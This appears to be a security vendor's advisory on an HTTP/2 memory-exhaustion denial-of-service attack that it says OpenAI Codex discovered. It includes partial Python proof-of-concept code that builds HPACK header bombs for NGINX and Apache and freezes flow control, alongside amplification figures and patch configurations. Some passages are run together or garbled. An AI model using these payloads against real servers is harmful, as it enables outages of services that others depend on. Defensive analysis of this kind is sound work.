On June 3, 2026, security researchers publicly disclosed a remote denial-of-service vulnerability named the HTTP/2 Bomb. Discovered by OpenAI Codex, the attack chains two decade-old HTTP/2 techniques — an HPACK indexed-reference compression bomb and a Slowloris-style flow control stall — into a combined exploit that neither technique alone could achieve. A single attacker on a 100 Mbps home connection can exhaust 32 GB of server RAM in 10 seconds with no authentication, no misconfiguration required, and no specialized tooling beyond the published proof-of-concept.
This report covers the technical architecture of the attack, the root cause in HTTP/2 implementations, amplification ratios across affected servers, and remediation guidance. The core finding is an insecure-by-design header field count enforcement model present in default configurations of NGINX, Apache HTTPD, Microsoft IIS, Envoy, and Cloudflare Pingora — affecting over 880,000 publicly exposed servers at time of disclosure.
HTTP/2 replaced HTTP/1.1's plaintext header repetition with a binary framing layer and a header compression scheme called HPACK (RFC 7541). HPACK maintains a dynamic table shared between client and server — a rolling list of previously seen header name-value pairs. Once a header is in the table, the sender can reference it with a single-byte index instead of transmitting the full header again.
HTTP/2 also includes a flow control mechanism to prevent fast senders from overwhelming slow receivers. Each connection carries a flow control window — a byte credit the sender must not exceed. The receiver controls this window and can set it to any value, including zero.
Both features are correct implementations of their specifications. The vulnerability is not a bug in the spec — it is the consequence of two legitimate features composing into an exploitable behavior that server implementations failed to account for.
The HTTP/2 Bomb chains two independent techniques into a single exploit. Neither technique alone causes catastrophic damage. Together, they produce a memory exhaustion attack that is both trivial to execute and nearly impossible to defend against without patching.
The attacker crafts an HTTP/2 request that inserts a small header entry (("a", "")) into the server's HPACK dynamic table using a literal with incremental indexing representation, then emits thousands of single-byte indexed references (0xBE) pointing back to that entry. Each 0xBE byte on the wire forces the server to fully reconstruct the referenced header, allocating real memory for each occurrence.
The root cause is not HPACK itself — it is that servers enforce a maximum decoded header size but not a maximum header field count. Both limits are needed. With only a size limit, an attacker uses headers with a 1-byte name and 0-byte value (a: ) to slip thousands of references under the size threshold while triggering massive allocation counts.
At the HTTP/2 handshake, the attacker sets INITIAL_WINDOW_SIZE = 0. With a zero-byte window, the server cannot transmit any response data — all allocated state is held indefinitely. To prevent timeout-based cleanup, the attacker periodically sends 1-byte WINDOW_UPDATE frames, resetting the server's send timeout timer without ever permitting an actual response to complete.
h2. Sends client preface + SETTINGS frame with INITIAL_WINDOW_SIZE = 0 and ENABLE_PUSH = 0. Server flow control is frozen from the first frame.HEADERS frame containing standard pseudo-headers plus a literal-with-indexing insertion of ("a", "") into the dynamic table at index 62. One entry, ~38–59 bytes on the server.0xBE sent — each a 1-byte indexed reference to dynamic entry 62. Server allocates ~59 bytes per reference = ~1.9 MB per stream. Across 128 streams per connection: ~240 MB per connection.WINDOW_UPDATE frames every ~50 seconds. Server cannot respond, cannot free memory. All allocated state pinned indefinitely. 15 parallel connections = ~4 GB held against a single NGINX worker.Researchers published working PoC scripts for all five affected servers. The scripts were generated by Codex and kept unedited as a historical artifact. Both use zero external dependencies — pure Python stdlib only.
def build_hpack_bomb(num_headers):
block = bytearray()
# Pseudo-headers via static table — 1 byte each
block.append(0x80 | 2) # :method GET
block.append(0x80 | 4) # :path /
block.append(0x80 | 6) # :scheme https
block.append(0x41) # :authority — literal with indexing
block.append(0x01)
block.append(ord("x"))
# Insert bomb entry: ("a", "") → dynamic table at index 62
block.append(0x40) # literal with indexing, new name
block.append(0x01) # name length = 1
block.append(ord("a")) # name = "a"
block.append(0x00) # value length = 0 (empty)
# 0xBE = indexed reference to dynamic entry 62
# 1 byte on wire → 59 bytes allocated on server
# 3 bytes in state.pool + 56 bytes in ngx_table_elt_t
refs = num_headers - 5
block.extend(b"\xbe" * refs) # ← THE BOMB
return bytes(block)
# At handshake — freeze the server's flow control window
settings_frame([
(SETTINGS_ENABLE_PUSH, 0),
(SETTINGS_INITIAL_WINDOW_SIZE, 0), # server cannot send, cannot free memory
])
# Hold phase — drip 1 byte every 50s to reset server timeouts
window_update_frame(0, 1) # connection-level
window_update_frame(stream_id, 1) # per-stream
Apache's mod_http2 merges HTTP/2 cookie fragments using "; " separators per spec. The attacker exploits HPACK static index 32 (cookie), seeding the dynamic table with an empty cookie value and referencing it thousands of times. Apache accumulates the merge allocation for each reference.
def build_httpd_cookie_bomb(authority, path, refs):
block = bytearray()
block += indexed(2) # :method GET
block += indexed(7) # :scheme https
block += literal_indexed_name_without_indexing(4, path.encode())
block += literal_indexed_name_without_indexing(1, authority.encode())
# Static index 32 = "cookie"
# Empty value → 38-byte dynamic table entry at index 62
# Apache merges cookie crumbs with "; " separator on each ref
block += literal_indexed_name_with_indexing(32, b"") # seed the table
block += indexed(62) * refs # 4,091 refs = ~16 MB/stream = 4,000:1
return bytes(block)
The cookie technique reveals a broader bypass class: splitting Cookie headers into multiple segments tricks servers that enforce only a size limit but not a field count limit. A 1-byte name + 0-byte value slips under any size threshold while still consuming a full field allocation on every reference.
| Server | Version Tested | Amplification | Time to Exhaust 32 GB | Patch Status |
|---|---|---|---|---|
| Envoy | 1.37.2 | 5,700:1 | ~10 seconds | Unpatched |
| Apache HTTPD | 2.4.67 | 4,000:1 | ~18 seconds | mod_http2 v2.0.41+ |
| NGINX | 1.29.7 | 70:1 | ~45 seconds | v1.29.8+ |
| Microsoft IIS | Windows Server 2025 | 68:1 | ~45s (64 GB RAM) | Unpatched |
| Cloudflare Pingora | 0.8.0 | ~62:1 | — | Unpatched |
CDN fronting provides partial protection — but only if the CDN layer itself is not Cloudflare Pingora, which is also affected. Do not rely on CDN fronting alone as a mitigation.
A Shodan scan at time of disclosure confirmed over 880,000 public-facing servers running one of the affected stacks with HTTP/2 enabled in default configuration. The attack requires no credentials, no recon, and no prior knowledge of the target.
Upgrade to NGINX 1.29.8+. This release introduces the max_headers directive with a default ceiling of 1,000 header fields per request.
http {
max_headers 1000; # default in 1.29.8+
}
# Or disable HTTP/2 entirely:
server {
listen 443 ssl; # remove 'http2' keyword
}
Update mod_http2 to v2.0.41+. Cookie fragments now count against LimitRequestFields.
LimitRequestFields 100 # default — ensure this has not been raised
# Disable HTTP/2 if patch unavailable:
Protocols http/1.1
max_headers 1000 before traffic reaches the vulnerable server.
The HTTP/2 Bomb was not found by a human researcher. It was discovered by OpenAI Codex, which recognized that two independently published, decade-old techniques could be chained into a combined exploit. Both the discovery and the proof-of-concept code were produced by Codex. Calif preserved the scripts unedited.
"AI-generated and kept as-is, as a historical artifact of what AI vulnerability research looked like in 2026." — Calif repository README
This is the first publicly documented case of an AI chaining known techniques into a novel critical vulnerability and writing functional exploit code. There are almost certainly other such combinations waiting to be discovered across the CVE corpus and security literature. The threat model for defenders has changed: adversaries now have access to tools that can exhaust the composition space of known techniques at scale.
WINDOW_UPDATE frames.
| Technique | Name | Implementation |
|---|---|---|
T1499 |
Endpoint Denial of Service | Memory exhaustion via HTTP/2 header bomb |
T1499.001 |
OS/Kernel Exhaustion Flood | Worker process OOM via ngx_table_elt_t allocation chain |
T1499.002 |
Service Exhaustion Flood | Flow control stall keeps connections open indefinitely |
T1071.001 |
Application Layer Protocol: Web | Attack delivered entirely over standard HTTPS/HTTP2 |
T1190 |
Exploit Public-Facing Application | Default configuration exploitation, no authentication required |
https://nvd.nist.gov/vuln/detail/CVE-2026-49975Deep technical analysis of vulnerabilities affecting your infrastructure — beyond CVSS scores to real-world exploitability and impact.
Passive mapping of your external presence — every exposed service, endpoint, and piece of infrastructure visible to the public internet.
Proactive detection of compromise indicators, APT activity, and post-exploitation artifacts across your email and identity infrastructure.
Continuous surveillance of stolen credential markets, threat actor forums, and data leak channels. Know when you're being targeted before it becomes an incident.